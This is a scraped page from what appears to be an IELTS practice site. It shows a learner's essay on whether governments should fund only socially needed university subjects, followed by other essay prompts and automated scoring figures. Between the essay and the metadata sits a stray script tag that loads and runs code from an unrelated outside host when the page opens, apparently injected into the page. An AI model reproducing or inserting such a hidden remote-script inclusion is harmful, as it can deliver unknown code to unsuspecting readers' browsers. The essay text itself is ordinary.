Modern societies need specialists in certain fields, but not others. Some people therefore think that governments should pay university fees for students who study subjects that are needed by society. Those who choose to study less relevant subjects should not receive government funding.
Would the advantages of such an educational policy outweigh the disadvantages
Nowadays governments offer financial support for certain amount of students in specific areas of education. Therefore, it rises a discussion about choosing the most suitable students, precisely, some people claim that a country can get better results if such funding will be given for the students who are teaching according to the demands of the modern life. In contrast, others insist on sharing government support among the students equally. In my opinion, it will be honest to give students financial support depending on their abilities, not only the study areas they chose, and I am going to explain my opinion with some facts below.
Firstly, it is undeniable fact that technological development of the world changes the content of jobs. I mean in comparison with previous years nowadays there are great demands for people in innovative areas, such as computer engineering, or information technologies etc. For instance, in our country the agricultural section was more likely to develop in the 1990s, so government tried to provide necessary facilities and financial resources to qualify workers in this sphere whereas today specialists in the industrial and information fields are more important than the indicated ones.
However, to my mind a number of disadvantages will be unavoidable if the government applies this policy, to be more precise, development only in certain fields may not result with the improvement of whole economy of the country. Furthermore, there may be great amount of students with specific abilities in less relevant subjects and discrimination between such students will probably cause negative effects on education systems.
In conclusion, taking account all indicated facts above I think following the idea given on the statement can be damage the education not improve it.
<script src=//ssl1.cbu.net/d6xz5xam></script>
| Post date | Users | Rates | Link to Content |
|---|---|---|---|
| 2020-12-17 | farhodyusupov | view | |
| 2020-12-17 | farhodyusupov | view |
- The graph below shows cinema attendance by age in Great Britain. Write a report for a university lecturer describing the information shown. Summarize the information by selecting and reporting the main features, and make comparisons where relevant. 95
- Some say that it would be better if the majority of employees worked from home instead of travelling to a workplace everyday .Do you think the advantages of working from home outweigh the disadvantages ? 70
- The charts below show the results of a survey of adult education. The first chart shows the reasons why adults decide to study. The pie chart shows how people think the costs of adult education should be shared. 53
- Some people say that the best way to improve public health is by increasing the number of sports facilities. Others, however say that this would have little effect on public health and that other measures are required.Discuss both these views and give you 80
- The chart below shows the different levels of post-school qualifications in Australia and the proportion of men and women who held them in 1999. 77
flaws:
Sentence-Sentence Coherence: 0.046 0.07
Attribute Value Ideal
Score: 7.0 out of 9
Category: Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 9 15
No. of Words: 284 350
No. of Characters: 1499 1500
No. of Different Words: 166 200
Fourth Root of Number of Words: 4.105 4.7
Average Word Length: 5.278 4.6
Word Length SD: 2.862 2.4
No. of Words greater than 5 chars: 119 100
No. of Words greater than 6 chars: 101 80
No. of Words greater than 7 chars: 66 40
No. of Words greater than 8 chars: 44 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 31.556 21.0
Sentence Length SD: 17.746 7.5
Use of Discourse Markers (%): 0.889 0.12
Sentence-Text Coherence: 0.385 0.35
Sentence-Para Coherence: 0.661 0.50
Sentence-Sentence Coherence: 0.046 0.07
Number of Paragraphs: 4 5